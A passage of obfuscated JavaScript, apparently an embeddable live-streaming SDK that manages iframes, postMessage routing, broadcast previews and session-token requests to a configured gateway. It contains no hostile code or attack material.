this[_0xd31e66(0x250)] + '/functions/sns-video:getLivePreviewForUsersBroadcasts', 'headers': { 'content-type': _0xd31e66(0x1ae), 'X-Parse-Application-Id': _0xd31e66(0x220), 'X-Parse-Session-Token': _0x52aa1b }, 'body': JSON[_0xd31e66(0x1be)]({ 'networkUserIds': _0x22746b, ..._0x67df92[_0xd31e66(0x22b)] && { 'latitude': _0x67df92['lat'] }, ..._0x67df92[_0xd31e66(0x2ee)] && { 'longitude': _0x67df92['lng'] } }) }, (_0x110480, _0x58dd7e) => { const _0x8ea412 = _0xd31e66; if (_0x58dd7e) return void _0x4a53b7(_0x58dd7e); const { result: _0x30b71a = {} } = _0x110480 || {}; if (_0x30b71a['broadcasts']) { const _0x54e953 = _0x3c9190[_0x8ea412(0x1d3)](_0x30b71a['broadcasts'], _0x30b71a[_0x8ea412(0x339)]['broadcasts']); this['livePreviewUserBroadcastData'] = _0x54e953[_0x8ea412(0x2d1)]((_0x26d64c, _0x53bfed) => (_0x26d64c[_0x53bfed[_0x8ea412(0x1e5)]] = { ..._0x53bfed, 'broadcastId': _0x53bfed[_0x8ea412(0x1e5)] }, _0x26d64c), this[_0x8ea412(0x1e9)]); } _0x4b3624(_0x30b71a); }); }); }); } async['getUserBroadcastData'](_0x8698a6, _0x29fc62 = !0x1) { const _0x5fc602 = _0x239636; if (!this[_0x5fc602(0x1e9)][_0x8698a6] && _0x29fc62) try { this[_0x5fc602(0x1e9)][_0x8698a6] = await this['getBroadcastData'](_0x8698a6); } catch { console[_0x5fc602(0x2fc)](_0x5fc602(0x1ee) + _0x8698a6); } return this[_0x5fc602(0x1e9)][_0x8698a6]; } ['getBroadcastData'](_0x187406) { return new Promise((_0x5f2373, _0x2c913e) => { const _0x40dc02 = _0x31ec; this['authenticationManager'][_0x40dc02(0x1fe)](({ accessToken: _0x8d8758 }) => { const _0x27e47d = _0x40dc02; this[_0x27e47d(0x312)]['sendRequest']({ 'method': _0x18c391[_0x27e47d(0x1ba)][_0x27e47d(0x292)], 'url': this['gatewayUrl'] + _0x27e47d(0x2d3) + this[_0x27e47d(0x250)] + _0x27e47d(0x207), 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'X-Parse-Application-Id': _0x27e47d(0x220), 'X-Parse-Session-Token': _0x8d8758 }, 'body': JSON['stringify']({ 'broadcastId': _0x187406 }) }, (_0x333851, _0x4bed05) => { if (_0x4bed05) return void _0x2c913e(_0x4bed05); const { result: _0x10e483 = {} } = _0x333851 || {}; _0x5f2373(_0x10e483); }); }); }); } [_0x239636(0x2cc)](_0x55bf7d, _0x5ec051) { const _0x26b1bd = _0x239636, _0x17cc16 = this[_0x26b1bd(0x30b)][_0x5ec051]; _0x17cc16 ? (_0x17cc16[_0x26b1bd(0x281)] = !0x0, Array[_0x26b1bd(0x291)](_0x17cc16[_0x26b1bd(0x325)]) && (_0x17cc16[_0x26b1bd(0x325)][_0x26b1bd(0x279)](({ resolve: _0x430b2f }) => _0x430b2f()), delete _0x17cc16[_0x26b1bd(0x325)])) : this[_0x26b1bd(0x30b)][_0x5ec051] = { 'isInitialized': !0x0 }; } [_0x239636(0x2ea)](_0x55eba6) { const _0x57ee0e = _0x239636; this[_0x57ee0e(0x30b)][_0x55eba6] || (this[_0x57ee0e(0x30b)][_0x55eba6] = { 'isInitialized': !0x1, 'initializedPromises': [] }); const _0x2a1a89 = this['initializations'][_0x55eba6]; return _0x2a1a89['isInitialized'] ? Promise['resolve']() : new Promise((_0x113308, _0x153190) => { const _0x109cde = _0x57ee0e; _0x2a1a89[_0x109cde(0x325)][_0x109cde(0x253)]({ 'resolve': _0x113308, 'reject': _0x153190 }); }); } } const _0xf2b906 = _0x3c9190; class _0x55f404 { constructor(_0x52af0e, _0x9bcf51, _0x22ea2c) { const _0xd9ab02 = _0x239636; this['authenticationManager'] = _0x52af0e, this[_0xd9ab02(0x312)] = _0x9bcf51, this[_0xd9ab02(0x250)] = _0x22ea2c[_0xd9ab02(0x250)], this[_0xd9ab02(0x20f)] = _0x22ea2c[_0xd9ab02(0x20f)], this[_0xd9ab02(0x2c4)] = _0x22ea2c[_0xd9ab02(0x2c4)], this[_0xd9ab02(0x30c)] = null; } static [_0x239636(0x21e)](_0x5a10dc = []) { const _0x6274a0 = _0x239636; return _0x5a10dc[_0x6274a0(0x2d1)]((_0x195bca, { objectId: _0x58efac, socialNetworkName: _0x5229f0, visibleTo: _0x27922f }) => (_0x195bca[_0x58efac] = { 'network': _0x5229f0, 'visibleTo': _0x27922f }, _0x195bca), {}); } async[_0x239636(0x2b9)](_0x5e9da2) { const _0x8c0e2 = _0x239636; return (await this[_0x8c0e2(0x1ab)]())[_0x5e9da2]; } [_0x239636(0x1ab)]() { const _0x2dc5c5 = _0x239636; return this['socialNetworksFetchPromise'] || (this[_0x2dc5c5(0x30c)] = new Promise((_0x43beb6, _0x2f2b82) => { const _0xfa4b9e = _0x2dc5c5; this[_0xfa4b9e(0x1b0)]['ensureAccessTokenLoaded'](({ accessToken: _0x130bac }) => { const _0x4e60b1 = _0xfa4b9e; this[_0x4e60b1(0x312)][_0x4e60b1(0x257)]({ 'method': _0x18c391[_0x4e60b1(0x1ba)][_0x4e60b1(0x292)], 'url': this[_0x4e60b1(0x2c4)] + _0x4e60b1(0x2d3) + this[_0x4e60b1(0x250)] + '/functions/sns-profile:getSocialNetworks', 'headers': { 'content-type': _0x4e60b1(0x1ae), 'X-Parse-Application-Id': _0x4e60b1(0x220), 'X-Parse-Session-Token': _0x130bac }, 'body': JSON['stringify']({ 'hostAppName': this[_0x4e60b1(0x250)], 'hostAppVersion': this[_0x4e60b1(0x20f)] }) }, (_0xc58a88, _0x51d08b) => { const _0x69ad15 = _0x4e60b1; _0x51d08b ? _0x2f2b82(_0x51d08b) : _0x43beb6(_0x55f404['parseSocialNetworkResponse'](_0xc58a88?.[_0x69ad15(0x258)])); }); }); })), this[_0x2dc5c5(0x30c)]; } } const _0x31ce3d = _0x55f404, _0x33aa97 = '3.18.0', { OUTGOING_MESSAGE_TYPES: _0xe09cce } = _0x4b1d53(0x46), _0x50af2c = /^(#(?:[\da-f]{3,4}|[\da-f]{6}(?:[\da-f]{2})?)|rgb\([\d]{1,3}(?:[\s]*,[\s]*[\d]{1,3}){2}\)|rgba\([\d]{1,3}(?:[\s]*,[\s]*[\d]{1,3}){2}(?:[\s]*,[\s]*0(?:\.[\d]{1,2})?|[\s]*,[\s]*1(?:\.0)?)?\))$/i, _0x9fe993 = async (_0xc42f5a, _0x5cbfcc, _0x1dbb93) => { const _0x3100ca = _0x239636; _0xc42f5a(_0x5cbfcc ? { 'type': _0x18c391[_0x3100ca(0x298)][_0x3100ca(0x22a)], 'payload': { 'broadcast': await _0x1dbb93[_0x3100ca(0x1ea)](_0x5cbfcc) } } : { 'type': _0x18c391['LIVE_PREVIEW_CB_EVENTS'][_0x3100ca(0x1e6)] }); }, _0x2286b3 = class { constructor(_0x2abfb9) { const _0x19623e = _0x239636; if (!window) throw new Error(_0x18c391[_0x19623e(0x32f)][_0x19623e(0x2b2)]); if (_0x2abfb9[_0x19623e(0x1ff)]) try { this['originalWebLiveURLObject'] = new URL(_0x2abfb9[_0x19623e(0x1ff)]); } catch (_0x173a1c) { throw new Error(_0x18c391[_0x19623e(0x32f)][_0x19623e(0x1c9)]); } _0x396de1['validateHostAppConfig'](_0x2abfb9), _0x3cb68c['deconfigure'](), this[_0x19623e(0x34c)] = new class { constructor() { const _0x27ed3c = _0x19623e; this[_0x27ed3c(0x247)] = {}, this['iframesData'] = {}, this['latestIframeData'] = null, this[_0x27ed3c(0x1f1)] = this['onPostMessage'][_0x27ed3c(0x290)](this), this['handleWindowUnload'] = this[_0x27ed3c(0x1f5)][_0x27ed3c(0x290)](this); } ['handleWindowUnload'](_0x49afba) { const _0x10b5ed = _0x19623e; Object['values'](this[_0x10b5ed(0x1f4)])[_0x10b5ed(0x242)](({ currentRoute: _0x1cde29 }) => _0x10b5ed(0x1f7) === _0x1cde29) && (_0x49afba['preventDefault'](), _0x49afba[_0x10b5ed(0x1c1)] = '', Object[_0x10b5ed(0x1dd)](_0x49afba, { '_defaultPrevented': !0x0 })); } [_0x19623e(0x22c)](_0x2cdd5f, _0x8bb56c, _0x535110 = Math[_0x19623e(0x204)]()['toString'](0x24)[_0x19623e(0x329)](0x2)) { const _0xd6de9e = _0x19623e, _0x2e9716 = _0x24856a[_0xd6de9e(0x326)](_0x8bb56c, _0x535110), _0x15e1e6 = { 'frameId': _0x535110, 'iframe': _0x2e9716, 'origin': _0x24856a[_0xd6de9e(0x2dd)](_0x8bb56c), 'url': _0x8bb56c, 'container': _0x24856a[_0xd6de9e(0x336)](_0x2cdd5f, _0x2e9716), 'onBootstrapped': [], 'callbacks': {}, 'currentRoute': '' }; return this['latestIframeData'] = _0x15e1e6, this['iframesData'][_0x535110] = _0x15e1e6, _0x24856a['addPostMessageListener'](this['onPostMessage']), _0x24856a['addWindowUnloadEventsListener'](this[_0xd6de9e(0x1f5)]), _0x15e1e6; } [_0x19623e(0x319)](_0x173490) { const _0xc3fa2d = _0x19623e; return this[_0xc3fa2d(0x1f4)][_0x173490] || this[_0xc3fa2d(0x276)]; } ['send'](_0x416b1c, _0x5f0c73, _0x304147, _0x11d5e1 = Math['random']()['toString'](0x24)[_0x19623e(0x329)](0x2)) { const _0x13ed3a = _0x19623e, { iframe: _0x52aa27, origin: _0x13592e, bootstrapped: _0x275c1a, onBootstrapped: _0x5dae33 } = this[_0x13ed3a(0x319)](_0x416b1c) || {}; if (!_0x52aa27) throw new Error(_0x18c391[_0x13ed3a(0x32f)][_0x13ed3a(0x2eb)]); if (_0x5f0c73 !== _0x18c391['OUTGOING_MESSAGE_TYPES'][_0x13ed3a(0x1fa)] && !_0x275c1a) return void _0x5dae33[_0x13ed3a(0x253)]({ 'action': this[_0x13ed3a(0x342)][_0x13ed3a(0x290)](this), 'args': [_0x416b1c, _0x5f0c73, _0x304147, _0x11d5e1] }); const { contentWindow: _0x29cc38 } = _0x52aa27; _0x29cc38 && _0x29cc38[_0x13ed3a(0x1b9)]({ 'type': _0x5f0c73, 'payload': _0x304147, 'messageId': _0x11d5e1 }, _0x13592e || '*'); } [_0x19623e(0x27a)](_0x4d5e5f, _0x3fbbeb) { const _0x1d1e39 = _0x19623e; Object[_0x1d1e39(0x2c8)](this[_0x1d1e39(0x1f4)])[_0x1d1e39(0x279)](_0x14b130 => this[_0x1d1e39(0x342)](_0x14b130, _0x4d5e5f, _0x3fbbeb)); } [_0x19623e(0x324)](_0x54c593, _0x2abed2, _0x57fe0c, _0xdd356c = null, _0x574b48 = !0x1) { const _0x51079f = _0x19623e, _0x46512e = this[_0x51079f(0x1f4)][_0x57fe0c]; if (_0x46512e) { const { callbacks: _0x135a12 } = _0x46512e; return _0x135a12[_0x54c593] || (_0x135a12[_0x54c593] = []), void _0x135a12[_0x54c593][_0x51079f(0x253)]({ 'callback': _0x2abed2, 'type': _0x54c593, 'messageId': _0xdd356c, 'removeOnReceipt': _0x574b48 }); } this[_0x51079f(0x247)][_0x54c593] = { 'callback': _0x2abed2, 'type': _0x54c593 }; } [_0x19623e(0x219)](_0x23439c, _0x2e7774, _0x3adbb0 = null) { const _0x4b484d = _0x19623e, _0x244213 = this['iframesData'][_0x2e7774]; if (_0x244213) { const { callbacks: _0xbbfa37 } = _0x244213; return _0x3adbb0 ? void (_0xbbfa37[_0x23439c] && (_0x244213[_0x4b484d(0x247)][_0x23439c] = _0xbbfa37[_0x23439c][_0x4b484d(0x235)](_0x16a581 => _0x16a581[_0x4b484d(0x2f8)] !== _0x3adbb0), _0x244213[_0x4b484d(0x247)][_0x23439c][_0x4b484d(0x1a9)] < 0x1 && delete _0x244213[_0x4b484d(0x247)][_0x23439c])) : void delete _0xbbfa37[_0x23439c]; } delete this[_0x4b484d(0x247)][_0x23439c]; } [_0x19623e(0x2b6)](_0x3f31dd) { const _0x60c1e = _0x19623e, _0x5c1c25 = this[_0x60c1e(0x1f4)][_0x3f31dd]; _0x5c1c25 ? _0x5c1c25[_0x60c1e(0x247)] = {} : this['callbacks'] = {}; } ['onPostMessage'](_0x1b5aa6) { const _0x45001f = _0x19623e; if (_0x1b5aa6['data'][_0x45001f(0x2e5)] in this[_0x45001f(0x1f4)] && Object[_0x45001f(0x1c3)](this[_0x45001f(0x1f4)])[_0x45001f(0x242)](({ origin: _0x36d811 }) => _0x1b5aa6[_0x45001f(0x280)] === _0x36d811)) { const { type: _0x454f03, payload: _0x20b13d, frameId: _0x570447 } = _0x1b5aa6[_0x45001f(0x1eb)], _0x1cea50 = [], _0x1c9b57 = this['getIframeData'](_0x570447); switch (_0x1cea50[_0x45001f(0x253)](..._0x1c9b57[_0x45001f(0x247)][_0x454f03] || []), 0x0 === _0x1cea50[_0x45001f(0x1a9)] && this[_0x45001f(0x247)][_0x454f03] && _0x1cea50[_0x45001f(0x253)](this[_0x45001f(0x247)][_0x454f03]), _0x454f03) { case _0x18c391[_0x45001f(0x212)][_0x45001f(0x236)]: _0x1c9b57[_0x45001f(0x23a)] = !0x0, _0x3cb68c[_0x45001f(0x289)] = !(!_0x20b13d || !_0x20b13d[_0x45001f(0x289)]), _0x1c9b57[_0x45001f(0x221)][_0x45001f(0x279)](_0xa69990 => { const _0x409ab0 = _0x45001f; _0xa69990[_0x409ab0(0x1c5)](..._0xa69990[_0x409ab0(0x267)]); }), _0x1c9b57[_0x45001f(0x221)] = []; break; case _0x18c391[_0x45001f(0x212)][_0x45001f(0x297)]: _0x20b13d && !0x0 === _0x20b13d[_0x45001f(0x33e)] ? _0x24856a[_0x45001f(0x2a6)](_0x1c9b57, _0x20b13d['id'], _0x20b13d[_0x45001f(0x2f7)], () => { const _0x275591 = _0x45001f; this[_0x275591(0x342)](_0x570447, _0x18c391[_0x275591(0x32e)][_0x275591(0x1e0)], { 'id': _0x20b13d['id'] }); }) : _0x24856a[_0x45001f(0x200)](_0x1c9b57, _0x20b13d['id']); break; case _0x18c391['INCOMING_MESSAGE_TYPES'][_0x45001f(0x29e)]: _0x1c9b57[_0x45001f(0x23f)] = _0x20b13d[_0x45001f(0x320)]; default: if (_0x1b5aa6['data'][_0x45001f(0x2f8)]) { const _0x2dc0c0 = _0x1cea50['find'](({ messageId: _0x5baf65 }) => _0x1b5aa6[_0x45001f(0x1eb)][_0x45001f(0x2f8)] === _0x5baf65); if (!_0x2dc0c0) return void console['warn'](_0x45001f(0x334) + _0x1b5aa6[_0x45001f(0x1eb)][_0x45001f(0x2b4)] + _0x45001f(0x2b5)); _0x2dc0c0[_0x45001f(0x211)](_0x20b13d, _0x570447), _0x2dc0c0[_0x45001f(0x2ad)] && this['unsubscribe'](_0x454f03, _0x570447, _0x2dc0c0[_0x45001f(0x2f8)]); } else _0x1cea50['filter'](({ callback: _0x442dd7, messageId: _0x35f239 }) => _0x45001f(0x1de) == typeof _0x442dd7 && !_0x35f239)[_0x45001f(0x279)](({ callback: _0x3e631c } = {}) => _0x3e631c(_0x20b13d, _0x570447)); } } } }(), this[_0x19623e(0x1b0)] = _0x3cb68c, this[_0x19623e(0x2ba)] = new _0x13aec9(), this[_0x19623e(0x312)] = new class { constructor({ hostAppName: _0x311735, hostAppVersion: _0x38a120, sdkVersion: _0x9c3fbb }) { const _0x60f391 = _0x19623e; this['userAgent'] = _0x311735 + '/' + _0x38a120 + _0x60f391(0x203) + _0x9c3fbb, _0x396de1['validateRequestUserAgent'](this['userAgent']); } ['sendRequest'](_0x3601fa, _0x129135 = () => { }) { const _0x36d647 = _0x19623e; try { _0x396de1['validateRequestOptions'](_0x3601fa); } catch (_0x36932a) { return void _0x129135(null, _0x36932a); } const { method: _0x3dc90a, url: _0x41162c, headers: _0x34eea5, body: _0x159045, withCredentials: _0x49037a } = _0x3601fa, _0x5112e7 = { 'x-user-agent': this[_0x36d647(0x230)], ..._0x34eea5 }, _0xba26aa = new XMLHttpRequest(); _0xba26aa[_0x36d647(0x216)](_0x3dc90a, _0x41162c, !0x0), Object['keys'](_0x5112e7)[_0x36d647(0x1a9)] > 0x0 && Object[_0x36d647(0x2c8)](_0x5112e7)[_0x36d647(0x279)](_0x598179 => { const _0x5b1fee = _0x36d647, _0x22447a = _0x5112e7[_0x598179]; void 0x0 !== _0x22447a && _0xba26aa[_0x5b1fee(0x344)](_0x598179, _0x22447a); }), this[_0x36d647(0x226)](_0xba26aa, _0x129135), _0xba26aa[_0x36d647(0x2b1)] = !!_0x49037a, _0xba26aa[_0x36d647(0x342)](_0x159045); } [_0x19623e(0x226)](_0xc86a00, _0x4b3489) { const _0x258040 = _0x19623e; _0xc86a00 instanceof XMLHttpRequest && (_0xc86a00[_0x258040(0x24c)] = () => { const _0x88b230 = _0x258040; if (_0xc86a00[_0x88b230(0x1fb)] === XMLHttpRequest[_0x88b230(0x2f9)]) { let _0x55d6eb, _0x44098e = null, _0x3c1962 = null; try { _0x55d6eb = JSON['parse'](_0xc86a00[_0x88b230(0x1f2)]); } catch (_0x90612b) { _0x55d6eb = _0xc86a00['responseText']; } _0xc86a00[_0x88b230(0x25c)] === _0x18c391[_0x88b230(0x305)]['SUCCESS'] ? _0x44098e = _0x55d6eb : _0x3c1962 = { 'code': _0xc86a00[_0x88b230(0x25c)], 'message': _0x55d6eb }, _0x88b230(0x1de) == typeof _0x4b3489 && _0x4b3489(_0x44098e, _0x3c1962); } }); } }({ 'hostAppName': _0x2abfb9[_0x19623e(0x34f)], 'hostAppVersion': _0x2abfb9[_0x19623e(0x20f)], 'sdkVersion': _0x33aa97 }), this[_0x19623e(0x33c)] = _0x24856a, this[_0x19623e(0x2bb)] = _0x2abfb9, /\/+$/[_0x19623e(0x330)](this['config'][_0x19623e(0x2c4)]) && (this[_0x19623e(0x2bb)][_0x19623e(0x2c4)] = this[_0x19623e(0x2bb)][_0x19623e(0x2c4)][_0x19623e(0x1b7)](/\/+$/g, '')), /\/+$/[_0x19623e(0x330)](this[_0x19623e(0x2bb)][_0x19623e(0x259)]) && (this['config']['authUrl'] = this[_0x19623e(0x2bb)][_0x19623e(0x259)][_0x19623e(0x1b7)](/\/+$/g, '')), this[_0x19623e(0x1b4)] = new class { constructor({ hostAppName: _0x5b7f77, hostAppVersion: _0x5d95ec, credentials: _0x39117, locale: _0x3837ef, authToken: _0x1c409d, chatSupport: _0x168168, rechargeURL: _0x4b0d8d, gendersSupport: _0x4a08a7 = !0x0 }, _0x3f931d, _0x5db8ba) { const _0x130e37 = _0x19623e; this[_0x130e37(0x2bb)] = { 'hostAppName': _0x5b7f77, 'hostAppVersion': _0x5d95ec, 'credentials': _0x39117, 'locale': _0x3837ef, 'authToken': _0x1c409d, 'chatSupport': !!_0x168168, 'gendersSupport': !!_0x4a08a7, 'rechargeURL': _0x4b0d8d }, this[_0x130e37(0x2ba)] = _0x3f931d, this[_0x130e37(0x34c)] = _0x5db8ba; } [_0x19623e(0x227)](_0x8fcd88, _0x54ea51) { const _0x158b1a = _0x19623e, { hostAppName: _0x553aa8, hostAppVersion: _0x52e506, locale: _0x5077e6, chatSupport: _0x1e0726, rechargeURL: _0x42e1c3, gendersSupport: _0x4b31ab } = this[_0x158b1a(0x2bb)]; _0x3cb68c['ensureAccessTokenLoaded']((_0x5ce79c, _0x4d919f) => { const _0x504b18 = _0x158b1a; if (_0x4d919f) throw this[_0x504b18(0x34c)][_0x504b18(0x342)](_0x54ea51, _0x18c391[_0x504b18(0x32e)][_0x504b18(0x28d)], _0x18c391[_0x504b18(0x32f)][_0x504b18(0x32a)]), new Error(_0x18c391[_0x504b18(0x32f)][_0x504b18(0x32a)]); const _0x4678be = { 'requestToken': _0x5ce79c[_0x504b18(0x1d0)], 'refreshToken': _0x5ce79c[_0x504b18(0x23d)], 'expiresIn': _0x5ce79c[_0x504b18(0x309)], 'locale': _0x5077e6, 'chatSupport': _0x1e0726, 'gendersSupport': _0x4b31ab, 'hostAppName': _0x553aa8, 'hostAppVersion': _0x52e506, 'theme': this['styleManager'][_0x504b18(0x245)](), 'rechargeURL': _0x42e1c3 }; this[_0x504b18(0x34c)]['send'](_0x54ea51, _0x18c391[_0x504b18(0x32e)][_0x504b18(0x1fa)], _0x4678be); }); } [_0x19623e(0x254)]() { const _0x57ca1d = _0x19623e; _0x3cb68c[_0x57ca1d(0x23d)]((_0xc9af6a, _0x578c5f) => { const _0x148ffe = _0x57ca1d; if (_0x578c5f) return void (_0x3cb68c[_0x148ffe(0x202)] ? _0x3cb68c['reinitSessionHandler']() : this[_0x148ffe(0x34c)][_0x148ffe(0x27a)](_0x18c391[_0x148ffe(0x32e)][_0x148ffe(0x1b2)], _0x578c5f)); const _0x386062 = { 'requestToken': _0xc9af6a[_0x148ffe(0x1d0)], 'refreshToken': _0xc9af6a[_0x148ffe(0x23d)], 'expiresIn': _0xc9af6a[_0x148ffe(0x309)] }; this[_0x148ffe(0x34c)][_0x148ffe(0x27a)](_0x18c391[_0x148ffe(0x32e)][_0x148ffe(0x1b2)], _0x386062); }); } }(this[_0x19623e(0x2bb)], this[_0x19623e(0x2ba)], this[_0x19623e(0x34c)]), this['livePreviewManager'] = new _0xf2b906(_0x3cb68c, this[_0x19623e(0x312)], { 'network': this[_0x19623e(0x2bb)][_0x19623e(0x34f)], 'gatewayUrl': this[_0x19623e(0x2bb)][_0x19623e(0x2c4)] }), this['socialNetworkManager'] = new _0x31ce3d(_0x3cb68c, this[_0x19623e(0x312)], { 'network': this[_0x19623e(0x2bb)][_0x19623e(0x34f)], 'hostAppVersion': this[_0x19623e(0x2bb)][_0x19623e(0x20f)], 'gatewayUrl': this[_0x19623e(0x2bb)]['gatewayUrl'] }), this[_0x19623e(0x21b)] = new class { constructor(_0x12054c) { this['socialNetworkManager'] = _0x12054c; } async[_0x19623e(0x1ea)](_0x7d6a6) { const _0x468d1a = _0x19623e, { objectId: _0xde8e88, streamDescription: _0x5e254a, currentViewers: _0x35fa82, totalViewers: _0x4218e3, userDetails: { firstName: _0x35d4eb, networkUserId: _0x46d33d, socialNetwork: { socialNetworkName: _0x3e4f44, objectId: _0x343777 } = {}, profilePic: { large: _0x21acf2, square: _0x396df3 } = {} } = {}, isActive: _0x4d9349, metadata: { distanceInKm: _0x4d20cb = null } = {} } = _0x7d6a6 || {}; let _0x375ddf = _0x3e4f44; if (!_0x375ddf) { const _0x4e3e00 = await this[_0x468d1a(0x1da)][_0x468d1a(0x2b9)](_0x343777); _0x375ddf = _0x4e3e00?.[_0x468d1a(0x250)]; } return { 'broadcastId': _0xde8e88, 'streamDescription': _0x5e254a, 'currentViewers': _0x35fa82, 'totalViewers': _0x4218e3, 'streamerFirstName': _0x35d4eb, 'networkUserId': _0x375ddf + _0x468d1a(0x314) + _0x46d33d, 'distanceInKm': _0x4d20cb, 'profilePic': { 'large': _0x21acf2, 'square': _0x396df3 }, 'isActive': _0x4d9349 }; } }(this[_0x19623e(0x1da)]), this[_0x19623e(0x1b0)][_0x19623e(0x2fb)]({ ...this['config'], 'requestManager': this[_0x19623e(0x312)] }), this[_0x19623e(0x2f2)] = new class { constructor() { const _0x5673f3 = _0x19623e; this[_0x5673f3(0x1f3)] = [], this[_0x5673f3(0x1bb)] = !0x1; } [_0x19623e(0x310)](_0x57afd9) { return new Promise((_0x559aa7, _0x569d7f) => { this['queue']['push']({ 'promise': _0x57afd9, 'resolve': _0x559aa7, 'reject': _0x569d7f }), this['dequeue'](); }); } ['dequeue']() { const _0x4d81ad = _0x19623e; if (this[_0x4d81ad(0x2dc)]) return !0x1; const _0xe760be = this['queue'][_0x4d81ad(0x260)](); if (!_0xe760be) return !0x1; try { this['workingOnPromise'] = !0x0, _0xe760be[_0x4d81ad(0x1e4)]()[_0x4d81ad(0x347)](_0xe883cc => { const _0x16c1f0 = _0x4d81ad; this[_0x16c1f0(0x2dc)] = !0x1, _0xe760be[_0x16c1f0(0x246)](_0xe883cc), setTimeout(() => this['dequeue'](), 0x0); })[_0x4d81ad(0x2cd)](_0x39aa10 => { const _0x581694 = _0x4d81ad; this[_0x581694(0x2dc)] = !0x1, _0xe760be['reject'](_0x39aa10), setTimeout(() => this[_0x581694(0x2ef)](), 0x0); }); } catch (_0x527132) { this['workingOnPromise'] = !0x1, _0xe760be[_0x4d81ad(0x2f4)](_0x527132), setTimeout(() => this['dequeue'](), 0x0); } return !0x0; } }(), this[_0x19623e(0x2df)] = new class { constructor(_0x375890) { const _0x3246d7 = _0x19623e; this[_0x3246d7(0x34c)] = _0x375890; } [_0x19623e(0x27e)](_0x301068, _0x4b542a, _0x68d2d5 = null, _0x2d2717 = 0xbb8) { const _0x1d9ed3 = _0x19623e, _0x11ef58 = this[_0x1d9ed3(0x34c)][_0x1d9ed3(0x319)](_0x68d2d5); return new Promise((_0x4d156e, _0x450cf7) => { const _0x4c5871 = _0x1d9ed3, _0x5187a3 = Math[_0x4c5871(0x204)]()[_0x4c5871(0x28b)](0x24)[_0x4c5871(0x329)](0x2), _0x10da6f = setTimeout(() => { const _0x20175c = _0x4c5871; this[_0x20175c(0x34c)]['unsubscribe'](_0x301068, _0x11ef58[_0x20175c(0x2e5)], _0x5187a3), _0x450cf7(new Error(_0x20175c(0x208) + _0x301068)); }, _0x2d2717); this['postManager'][_0x4c5871(0x324)](_0x301068, ({ error: _0x5ed58c, result: _0x3e5407 }) => { const _0xfbb648 = _0x4c5871; clearTimeout(_0x10da6f), _0x5ed58c ? _0x450cf7(new Error(_0x5ed58c[_0xfbb648(0x1dc)] || _0xfbb648(0x32d))) : _0x4d156e(_0x3e5407); }, _0x11ef58[_0x4c5871(0x2e5)], _0x5187a3, !0x0), this[_0x4c5871(0x34c)][_0x4c5871(0x342)](_0x11ef58['frameId'], _0x301068, _0x4b542a, _0x5187a3); }); } async[_0x19623e(0x2a0)](_0x2dbccb, _0x14d4be = null) { const _0x1e5c49 = _0x19623e; return await this[_0x1e5c49(0x27e)](_0xe09cce[_0x1e5c49(0x20b)], { 'config': _0x2dbccb }, _0x14d4be); } }(this['postManager']); } async[_0x239636(0x22c)](_0x5780fb, _0x395819, _0x168f1e = []) { const _0x2b09e1 = _0x239636, { version: _0x119efc = null, hostAppName: _0x5372a8, hostAppVersion: _0x2f14af } = this[_0x2b09e1(0x2bb)], _0x1372a3 = Math[_0x2b09e1(0x204)]()[_0x2b09e1(0x28b)](0x24)[_0x2b09e1(0x329)](0x2); this['postManager'][_0x2b09e1(0x324)](_0x18c391[_0x2b09e1(0x212)][_0x2b09e1(0x1fa)], this[_0x2b09e1(0x1b4)]['handleBootstrapMessage'][_0x2b09e1(0x290)](this[_0x2b09e1(0x1b4)]), _0x1372a3), this[_0x2b09e1(0x34c)][_0x2b09e1(0x324)](_0x18c391[_0x2b09e1(0x212)]['REFRESH_SESSION'], this[_0x2b09e1(0x1b4)][_0x2b09e1(0x254)][_0x2b09e1(0x290)](this[_0x2b09e1(0x1b4)]), _0x1372a3); try { const _0x23f16c = new URL(_0x395819); _0x23f16c['searchParams'][_0x2b09e1(0x21a)](_0x2b09e1(0x34f), _0x5372a8), _0x23f16c[_0x2b09e1(0x1db)][_0x2b09e1(0x21a)](_0x2b09e1(0x20f), _0x2f14af), _0x23f16c['searchParams'][_0x2b09e1(0x21a)](_0x2b09e1(0x2e5), _0x1372a3), _0x23f16c[_0x2b09e1(0x1db)][_0x2b09e1(0x21a)](_0x2b09e1(0x222), _0x33aa97), _0x168f1e[_0x2b09e1(0x279)](_0x1e1b81 => _0x23f16c[_0x2b09e1(0x1db)][_0x2b09e1(0x21a)](_0x2b09e1(0x317), _0x1e1b81)), _0x119efc && _0x23f16c[_0x2b09e1(0x1db)]['append']('v', _0x119efc), this[_0x2b09e1(0x2bb)]['webLiveURL'] = _0x23f16c['toString'](); } catch (_0x582965) { this[_0x2b09e1(0x2bb)][_0x2b09e1(0x1ff)] = _0x395819; } return this[_0x2b09e1(0x1b0)][_0x2b09e1(0x2fb)]({ ...this['config'], 'requestManager': this['requestManager'] }), this['authenticationManager'][_0x2b09e1(0x1fe)](() => { }), this[_0x2b09e1(0x34c)][_0x2b09e1(0x22c)](_0x5780fb, this[_0x2b09e1(0x2bb)][_0x2b09e1(0x1ff)], _0x1372a3), { 'frameId': _0x1372a3 }; } [_0x239636(0x272)](_0x3357f4) { const _0x20805d = _0x239636; _0x396de1[_0x20805d(0x26f)](_0x3357f4), this['authenticationManager'][_0x20805d(0x251)](_0x3357f4); } [_0x239636(0x205)](_0x5720a8, _0x43c5f4 = null, _0x48b487 = null) { const _0x147bad = _0x239636; this['postManager'][_0x147bad(0x342)](_0x48b487, _0x18c391[_0x147bad(0x32e)][_0x147bad(0x29e)], { 'route': _0x5720a8, 'filter': _0x43c5f4 }); } [_0x239636(0x2ab)](_0xd7d716, _0x2cc53c = {}, _0x3f4571 = null) { const _0x1e46c3 = _0x239636, _0x49e487 = _0x224fb9[_0x1e46c3(0x25a)](_0xd7d716, _0x2cc53c || {}); this['changeRoute'](_0x49e487, null, _0x3f4571); } [_0x239636(0x23c)](_0x40f5dc) { const _0x46dd42 = _0x239636; _0x396de1[_0x46dd42(0x26f)](_0x40f5dc), this['postManager']['subscribe'](_0x18c391[_0x46dd42(0x212)]['ROUTER'], _0x40f5dc); } [_0x239636(0x346)](_0x442034) { const _0x504a97 = _0x239636; _0x396de1[_0x504a97(0x26f)](_0x442034), this['postManager'][_0x504a97(0x324)](_0x18c391[_0x504a97(0x212)][_0x504a97(0x1e8)], (_0x5a8116 = {}) => { const _0x1605c8 = _0x504a97; _0x442034(_0x5a8116[_0x1605c8(0x2c0)], _0x5a8116['recipientMemberId'], _0x5a8116[_0x1605c8(0x1dc)]); }); } [_0x239636(0x29a)](_0x339a17) { const _0x8bf888 = _0x239636; 